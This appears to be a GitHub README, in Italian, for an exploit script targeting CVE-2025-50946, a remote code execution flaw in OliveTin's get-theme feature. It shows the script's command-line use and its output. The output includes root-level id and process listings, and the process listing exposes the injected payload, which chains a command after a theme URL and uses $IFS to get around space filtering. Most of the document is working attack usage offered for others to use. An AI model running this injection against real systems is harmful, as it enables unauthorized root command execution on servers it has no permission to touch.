runt1me/cve-2025-50946Script di exploit per CVE-2025-50946
Script di exploit per CVE-2025-50946 (RCE get-theme di OliveTin). I requisiti dei caratteri sono particolari e molti comandi che includono più argomenti potrebbero non essere eseguiti correttamente. Non ho avuto il tempo di approfondire la causa principale né di rendere lo script più robusto. Fammi un fischio o apri una PR se hai bisogno di qualcosa.
Riconoscimenti a chrisWalker11 per la ricerca originale su cui ho basato questo script: link
PoC di base:
python cve-2025-50946.py -t http://192.168.141.194 -p 1337 --command "id"
[*] Target: http://192.168.141.194:1337
[*] Payload: id
[*] Sending payload...
uid=0(root) gid=0(root) groups=0(root)
Elenco dei processi (mostra solo un estratto dell'output):
python cve-2025-50946.py -t http://192.168.141.194 -p 1337 --command "ps -efH"
[*] Target: http://192.168.141.194:1337
[*] Payload: ps$IFS-efH
[*] Sending payload...
UID PID PPID C STIME TTY TIME CMD
root 2 0 0 09:20 ? 00:00:00 [kthreadd]
root 1 0 0 09:20 ? 00:00:01 /sbin/init
root 313 1 0 09:20 ? 00:00:00 /usr/lib/systemd/systemd-journald
root 738 1 0 09:20 ? 00:00:00 /usr/sbin/cron -f -P
root 749 1 0 09:20 ? 00:00:00 /usr/local/bin/OliveTin
root 2167 749 0 13:26 ? 00:00:00 sh -c olivetin-get-theme http://t;ps$IFS-efH
root 2168 2167 0 13:26 ? 00:00:00 ps -efH